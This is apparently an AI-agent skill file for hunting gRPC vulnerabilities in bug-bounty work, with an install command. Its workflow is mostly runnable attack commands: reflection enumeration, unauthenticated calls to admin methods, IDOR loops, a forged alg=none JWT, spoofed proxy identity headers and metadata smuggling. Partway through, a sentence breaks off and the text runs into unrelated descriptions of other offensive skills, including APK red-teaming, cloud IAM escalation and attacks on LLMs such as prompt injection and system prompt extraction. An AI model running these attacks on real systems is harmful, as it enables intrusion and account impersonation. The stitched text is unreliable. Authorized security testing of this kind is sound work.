hunt-grpc
The hunt-grpc skill systematically identifies gRPC vulnerabilities including reflection enumeration, missing authentication on internal endpoints, plaintext HTTP/2 transmission, metadata-stripping bypass, proto file leakage, and HTTP/2 Rapid Reset DoS. Use this skill when the target exposes gRPC ports (50051, 443, 8443, 9090) with HTTP/2 support, when grpcurl or grpcui confirms service reflection is enabled, when microservice architecture is suspected, or when an Envoy or grpc-gateway proxy fronts backend services.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-grpc && cp -r /tmp/hunt-grpc/skills/hunt-grpc ~/.claude/skills/hunt-grpcSKILL.md
# HUNT-GRPC — gRPC Security
## Crown Jewel Targets
gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.
**Highest-value findings:**
- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` / `grpc.reflection.v1.ServerReflection` lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
- **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
- **Edge-auth-only / metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
- **Plaintext gRPC** — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
- **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**
---
## Phase 1 — Fingerprint & Port Discovery
```bash
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
-H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
-H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"
```
`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.
---
## Phase 2 — Service Enumeration via Reflection
```bash
brew install grpcurl # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure $TARGET:443 list
# Typical output when reflection is on:
# grpc.reflection.v1.ServerReflection
# grpc.health.v1.Health
# user.UserService
# admin.AdminService
# payment.PaymentService
# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest # message schema
# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt
```
**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.
---
## Phase 3 — Call Methods Without Authentication (authz testing)
```bash
# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
-d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done
```
**Interpret the gRPC status code, not just whether bytes came back (see Validation):**
- `OK` + populated response → method executed unauthenticated → finding.
- `Unauthenticated (16)` / `PermissionDenied (7)` → authz is enforced; NOT a finding.
- `Unimplemented (12)` → wrong path / method not on this server.
- `InvalidArgument (3)` → reached and parsed your input → method is callable; fix the payload and retry.
---
## Phase 4 — Authentication / Trust-Boundary Bypass
```bash
# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
-H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
-d '{}' admin.AdminService/GetConfig
# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
# then trust identity injected as metadata. If the edge does not STRIP these,
# spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
"x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
"x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
echo "== $H =="
grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done
# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
# server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
-d '{}' admin.AdminService/GetConfig
```
The metadata-stripping bug (b) is the gRPC-speciEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.